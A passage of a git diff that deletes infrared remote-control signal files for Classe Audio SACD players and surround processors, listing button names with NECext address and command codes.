00 00 00 -# -name: 0_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 1_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 2_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 3_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 4_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 5_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 6_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 7_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 8_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: 9_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: >10_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: >10_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: DISP_ON/OFF_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: DISP_ON/OFF_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: SRC_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: SRC_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: SAMPLE_RATE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: SAMPLE_RATE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: DISP_TIME_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: DISP_TIME_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: INPUT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: INPUT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: LOAD_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: LOAD_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: CHECK_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: CHECK_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: CONT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1B 00 00 00 -# -name: CONT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1B 00 00 00 -# -name: SHUFFLE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: NEXT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: NEXT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREV_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PREV_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: INDEX>_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: INDEX>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: >_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: >>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: PLAY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: STOP_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: STOP_T2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: STOP_T3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CLEAR_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3A 00 00 00 -# -name: CLEAR_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3A 00 00 00 -# -name: A-B_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: A-B_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir deleted file mode 100644 index e21aac456..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir deleted file mode 100644 index 047973026..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir +++ /dev/null @@ -1,1046 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_MON_TOGGLE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 01 00 00 00 -# -name: TAPE_MON_TOGGLE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 01 00 00 00 -# -name: INPUT1_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 02 00 00 00 -# -name: INPUT1_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 02 00 00 00 -# -name: INPUT2_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 03 00 00 00 -# -name: INPUT2_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 03 00 00 00 -# -name: INPUT3_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 04 00 00 00 -# -name: INPUT3_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 04 00 00 00 -# -name: INPUT4_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 05 00 00 00 -# -name: INPUT4_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 05 00 00 00 -# -name: INPUT5_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 06 00 00 00 -# -name: INPUT5_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 06 00 00 00 -# -name: INPUT6_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 07 00 00 00 -# -name: INPUT6_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 07 00 00 00 -# -name: INPUT7_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 08 00 00 00 -# -name: INPUT7_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 08 00 00 00 -# -name: INPUT8_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 09 00 00 00 -# -name: INPUT8_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 09 00 00 00 -# -name: INPUT_UP_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_UP_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_DOWN_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0B 00 00 00 -# -name: INPUT_DOWN_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0B 00 00 00 -# -name: STANDBY_TOGGLE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_TOGGLE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0C 00 00 00 -# -name: INFO_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0E 00 00 00 -# -name: INFO_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0E 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 0F 00 00 00 -# -name: THX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 12 00 00 00 -# -name: THX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 12 00 00 00 -# -name: LATE_NIGHT_TOGGLE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 13 00 00 00 -# -name: LATE_NIGHT_TOGGLE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 13 00 00 00 -# -name: ZONE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 14 00 00 00 -# -name: ZONE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 14 00 00 00 -# -name: TRIM_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 15 00 00 00 -# -name: TRIM_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 15 00 00 00 -# -name: MODE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 44 00 00 00 -# -name: MODE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 44 00 00 00 -# -name: MENU_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 54 00 00 00 -# -name: MENU_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 54 00 00 00 -# -name: HOME_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 55 00 00 00 -# -name: HOME_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 55 00 00 00 -# -name: NAVIGATE_UP_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 58 00 00 00 -# -name: NAVIGATE_UP_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 58 00 00 00 -# -name: NAVIGATE_DOWN_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 59 00 00 00 -# -name: NAVIGATE_DOWN_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 59 00 00 00 -# -name: NAVIGATE_LEFT_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 5A 00 00 00 -# -name: NAVIGATE_LEFT_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 5A 00 00 00 -# -name: NAVIGATE_RIGHT_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 5B 00 00 00 -# -name: NAVIGATE_RIGHT_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 5B 00 00 00 -# -name: ENTER_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 5C 00 00 00 -# -name: ENTER_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 5C 00 00 00 -# -name: INPUT9_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 78 00 00 00 -# -name: INPUT9_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 78 00 00 00 -# -name: INPUT10_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 79 00 00 00 -# -name: INPUT10_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 79 00 00 00 -# -name: INPUT11_(7.1)_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 7A 00 00 00 -# -name: INPUT11_(7.1)_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 7A 00 00 00 -# -name: INPUT12_(TAPE)_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 7B 00 00 00 -# -name: INPUT12_(TAPE)_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 7B 00 00 00 -# -name: ZONE_MUTE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 91 00 00 00 -# -name: ZONE_MUTE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 91 00 00 00 -# -name: ZONE_UNMUTE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 92 00 00 00 -# -name: ZONE_UNMUTE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 92 00 00 00 -# -name: ZONE_MUTE_TOGGLE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 93 00 00 00 -# -name: ZONE_MUTE_TOGGLE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 93 00 00 00 -# -name: ZONE_VOL_UP_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 94 00 00 00 -# -name: ZONE_VOL_UP_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 94 00 00 00 -# -name: ZONE_VOL_DOWN_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 95 00 00 00 -# -name: ZONE_VOL_DOWN_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 95 00 00 00 -# -name: OPERATE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 96 00 00 00 -# -name: OPERATE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 96 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 97 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 97 00 00 00 -# -name: TAPE_MON_ON_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9A 00 00 00 -# -name: TAPE_MON_ON_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9A 00 00 00 -# -name: TAPE_MON_OFF_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9B 00 00 00 -# -name: TAPE_MON_OFF_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9B 00 00 00 -# -name: THX_ON_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9C 00 00 00 -# -name: THX_ON_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9C 00 00 00 -# -name: THX_OFF_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9D 00 00 00 -# -name: THX_OFF_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: 9D 00 00 00 -# -name: LATE_NIGHT_ON_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A0 00 00 00 -# -name: LATE_NIGHT_ON_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A0 00 00 00 -# -name: LATE_NIGHT_OFF_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A1 00 00 00 -# -name: LATE_NIGHT_OFF_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A1 00 00 00 -# -name: TRIM_FRONT_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A2 00 00 00 -# -name: TRIM_FRONT_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A2 00 00 00 -# -name: TRIM_CENTER_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A3 00 00 00 -# -name: TRIM_CENTER_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A3 00 00 00 -# -name: TRIM_SURR_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A4 00 00 00 -# -name: TRIM_SURR_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A4 00 00 00 -# -name: TRIM_SUB_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A5 00 00 00 -# -name: TRIM_SUB_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A5 00 00 00 -# -name: ZONE_INPUT_1_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A9 00 00 00 -# -name: ZONE_INPUT_1_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: A9 00 00 00 -# -name: ZONE_INPUT_2_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AA 00 00 00 -# -name: ZONE_INPUT_2_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AA 00 00 00 -# -name: ZONE_INPUT_3_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AB 00 00 00 -# -name: ZONE_INPUT_3_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AB 00 00 00 -# -name: ZONE_INPUT_4_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AC 00 00 00 -# -name: ZONE_INPUT_4_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AC 00 00 00 -# -name: ZONE_INPUT_5_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AD 00 00 00 -# -name: ZONE_INPUT_5_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AD 00 00 00 -# -name: ZONE_INPUT_6_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AE 00 00 00 -# -name: ZONE_INPUT_6_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AE 00 00 00 -# -name: ZONE_INPUT_7_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AF 00 00 00 -# -name: ZONE_INPUT_7_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: AF 00 00 00 -# -name: ZONE_INPUT_8_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B0 00 00 00 -# -name: ZONE_INPUT_8_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B0 00 00 00 -# -name: ZONE_INPUT_9_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B1 00 00 00 -# -name: ZONE_INPUT_9_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B1 00 00 00 -# -name: ZONE_INPUT_10_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B2 00 00 00 -# -name: ZONE_INPUT_10_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B2 00 00 00 -# -name: LISTEN.POS.1_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B9 00 00 00 -# -name: LISTEN.POS.1_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: B9 00 00 00 -# -name: LISTEN.POS.2_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: BA 00 00 00 -# -name: LISTEN.POS.2_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: BA 00 00 00 -# -name: LISTEN.POS.3_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: BB 00 00 00 -# -name: LISTEN.POS.3_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: BB 00 00 00 -# -name: LISTEN.POS.4_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: BC 00 00 00 -# -name: LISTEN.POS.4_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: BC 00 00 00 -# -name: MULTI_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C1 00 00 00 -# -name: MULTI_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C1 00 00 00 -# -name: MULTI+THX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C2 00 00 00 -# -name: MULTI+THX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C2 00 00 00 -# -name: DOLBY_PRO_LOGIC_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C3 00 00 00 -# -name: DOLBY_PRO_LOGIE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C3 00 00 00 -# -name: DOLBY_PL+THX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C4 00 00 00 -# -name: DOLBY_PL+THX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C4 00 00 00 -# -name: MM_NAT_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C6 00 00 00 -# -name: MM_NAT_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C6 00 00 00 -# -name: MM_PARTY_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C7 00 00 00 -# -name: MM_PARTY_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: C7 00 00 00 -# -name: MONO_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: CC 00 00 00 -# -name: MONO_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: CC 00 00 00 -# -name: MONO+THX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: CD 00 00 00 -# -name: MONO+THX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: CD 00 00 00 -# -name: SURR._6.1_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: CF 00 00 00 -# -name: SURR._6.1_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: CF 00 00 00 -# -name: STEREO_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D0 00 00 00 -# -name: STEREO_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D0 00 00 00 -# -name: STEREO+THX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D1 00 00 00 -# -name: STEREO+THX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D1 00 00 00 -# -name: DOLBY_PLII_MOVIE_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D2 00 00 00 -# -name: DOLBY_PLII_MOVIE_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D2 00 00 00 -# -name: DPLII_M+THX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D3 00 00 00 -# -name: DPLII_M+THX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D3 00 00 00 -# -name: DPLII_MUZ_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D4 00 00 00 -# -name: DPLII_MUZ_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: D4 00 00 00 -# -name: DOLBY_DIGITAL_EX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E4 00 00 00 -# -name: DOLBY_DIGITAL_EX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E4 00 00 00 -# -name: THX_ULTRA_2_MUSIC_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E5 00 00 00 -# -name: THX_ULTRA_2_MUSIC_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E5 00 00 00 -# -name: THX_ULTRA_2_CIN_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E6 00 00 00 -# -name: THX_ULTRA_2_CIN_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E6 00 00 00 -# -name: THX_SURR_EX_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E7 00 00 00 -# -name: THX_SURR_EX_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E7 00 00 00 -# -name: DTS_NEO6_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E8 00 00 00 -# -name: DTS_NEO6_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E8 00 00 00 -# -name: DTS_NEO6+T_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E9 00 00 00 -# -name: DTS_NEO6+T_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: E9 00 00 00 -# -name: DTS_NEO6_CIN_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EA 00 00 00 -# -name: DTS_NEO6_CIN_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EA 00 00 00 -# -name: D_NEO6_CIN+T_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EB 00 00 00 -# -name: D_NEO6_CIN+T_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EB 00 00 00 -# -name: DTS_NEO6_MUZ_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EC 00 00 00 -# -name: DTS_NEO6_MUZ_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EC 00 00 00 -# -name: DTS_MTX6_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: ED 00 00 00 -# -name: DTS_MTX6_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: ED 00 00 00 -# -name: DTS_MTX6+T_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EE 00 00 00 -# -name: DTS_MTX6+T_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EE 00 00 00 -# -name: STEREO_24/96_T0 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EF 00 00 00 -# -name: STEREO_24/96_T1 -type: parsed -protocol: NECext -address: 74 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir deleted file mode 100644 index 9bb91c07e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 0D 00 00 00 -# -name: VOL_UP_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 10 00 00 00 -# -name: VOL_UP_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 10 00 00 00 -# -name: VOL_DOWN_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 11 00 00 00 -# -name: VOL_DOWN_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 11 00 00 00 -# -name: F1_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 38 00 00 00 -# -name: F1_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 38 00 00 00 -# -name: F2_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 39 00 00 00 -# -name: F2_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 39 00 00 00 -# -name: F3_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 86 00 00 00 -# -name: F3_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 86 00 00 00 -# -name: F4_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 87 00 00 00 -# -name: F4_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 87 00 00 00 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 98 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 98 00 00 00 -# -name: UNMUTE_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 99 00 00 00 -# -name: UNMUTE_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 99 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir deleted file mode 100644 index 1c0a2ef51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir +++ /dev/null @@ -1,758 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A.CAL_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: A.CAL_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: 